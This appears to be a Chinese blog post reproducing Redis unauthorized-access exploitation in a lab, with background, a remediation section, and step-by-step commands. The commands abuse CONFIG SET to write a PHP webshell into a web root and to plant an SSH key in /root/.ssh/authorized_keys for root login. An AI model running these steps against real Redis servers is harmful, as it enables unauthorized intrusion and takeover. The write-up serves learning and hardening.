【漏洞复现】Redis未授权访问

参考文章:https://www.cnblogs.com/bmjoker/p/9548962.html
参考文章:https://mp.weixin.qq.com/s/m1X7Klz0eJF__Mz4YFe8xg

0x01 漏洞简介

Redis 默认情况下会绑定在 服务器6379端口,如果没有进行采用相关的策略,将 Redis 服务暴露到公网上,在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

0x02 漏洞危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

0x03 漏洞修复

1、采用绑定IP的方式来进行控制。
在redis.conf文件中把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录。

2、设置密码,以提供远程登陆。
打开redis.conf配置文件,找到requirepass

requirepass yourpassword        //yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。

0x04 漏洞复现

(1)测试环境**
目标机vps:Centos7.5
攻击机:Kali

(2)下载并安装测试用的Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

在这里插入图片描述
(3)解压编译

tar xzf redis-2.8.17.tar.gz    //解压
cd redis-2.8.17                //进入目录
make                           //编译

(4)启动Redis服务
将redis-server和redis-cli拷贝到/usr/bin目录下便于随地启动redis-server和redis-cli

cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

cd ..
cp redis.conf /etc/

启动redis服务,vps记得开安全组

redis-server /etc/redis.conf 

在这里插入图片描述

(5)未授权访问测试

redis-cli -h 47.56.9.94

在这里插入图片描述
方法一:直接写shell
1、如果目标开启了80端口,可以直接写shell到网站目录

config set dir /www/admin/localhost_80/wwwroot        //vps的Web 网站的目录,常见的目录是/var/www/html
config set dbfilename test.php      //写入的文件名
set webshell  "<?php phpinfo();?>"   // shell内容
save                                 //保存

在这里插入图片描述2、访问网站test.php文件
在这里插入图片描述
方法二:结合 SSH 免密码登录
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

1、在目标机中开启ssh服务(目标机是作为ssh服务器使用的)

2、在攻击机中生成ssh公钥和私钥,密码设置为空:
在这里插入图片描述
3、进入.ssh目录,将生成的公钥保存到test.txt,将保存ssh的公钥test.txt写入redis

cd .ssh/
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > test.txt
cat test.txt | redis-cli -h 47.X.X.94 -x set test    

如果报错,说明主机处于保护模式只允许redis本地链接,需要修改目标机配置文件…/redis.conf ,在服务器上关闭保护模式:

redis-cli -h 127.0.0.1
config set protected-mode no

在这里插入图片描述
4、写入ssh公钥到目标机

redis-cli -h 47.X.X.94
keys *
get test
config set dir "/root/.ssh"                 //保更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dbfilename "authorized_keys"     // 设置上传公钥的备份文件名字为authorized_keys
save                                        //将test里的公钥保存到/root/.ssh/authotrized_keys文件中(要有写权限)

在这里插入图片描述
5、测试连接,利用私钥成功登录redis服务器。
ssh –i id_rsa root@47.X.X.94

在这里插入图片描述
DONE

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值